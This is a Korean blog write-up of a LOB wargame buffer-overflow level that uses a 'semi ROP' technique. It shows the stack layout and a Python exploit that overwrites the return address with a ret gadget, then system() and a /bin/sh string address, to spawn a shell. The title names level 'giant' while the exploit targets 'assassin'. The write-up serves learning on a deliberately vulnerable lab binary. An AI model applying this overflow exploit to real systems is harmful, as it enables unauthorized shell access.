본문 바로가기
워게임/LOB

LOB - giant (semi ROP)

by meanjung 2021. 8. 7.

버퍼 지워버리고,

RTL도 안되고, stack도 안된다???

 

 

남은 건 코드 영역 뿐.....

 

objdump -D assassin | grep ret ☞ ret 코드를 찾는다. 여러 개가 뜰텐데 하나 그냥 고르면 된다.

 

 

그리고 libc 주소, system 함수 offset, /bin/sh offset 찾으면 된다...

 

 

 

buffer[40]

---------------------

sfp

---------------------

ret

---------------------

 

 

이런 스택 구조인데, 다음과 같이 만들면 된다.

 

A * 40

----------------------

AAAA

----------------------

ret -> 다른 ret 주소로 덮기

----------------------

system함수 주소

----------------------

dummy (4bytes)

----------------------

/bin/sh 문자열 주소

 

 

이렇게 하면, main 함수의 마지막 ret이 실행되고, 한 번 더 ret이 실행되면서 

esp가 가리키는 system 함수의 주소가 eip에 담기면서 system 함수가 실행되게 된다!!!

 

 

ex.py

import os
import struct

p32 = lambda x: struct.pack("<I", x)

lib = 0x40018000
system = lib + 0x40ae0
binsh = lib + 0xe3ff9

payload = "A"*44 + p32(0x08048336) + p32(system) + "B"*4 + p32(binsh)

filename = './assassin'

os.execv(filename, [filename, payload])

'워게임 > LOB' 카테고리의 다른 글

LOB - zombie_assassin(RTL chain)  (0) 2021.08.08
LOB - assassin(semi ROP)  (0) 2021.08.07
LOB - bugbear(RTL, execve함수)  (0) 2021.08.07
LOB - darkknight(RTL)  (0) 2021.08.05
LOB - golem(SFP overflow)  (0) 2021.08.04

댓글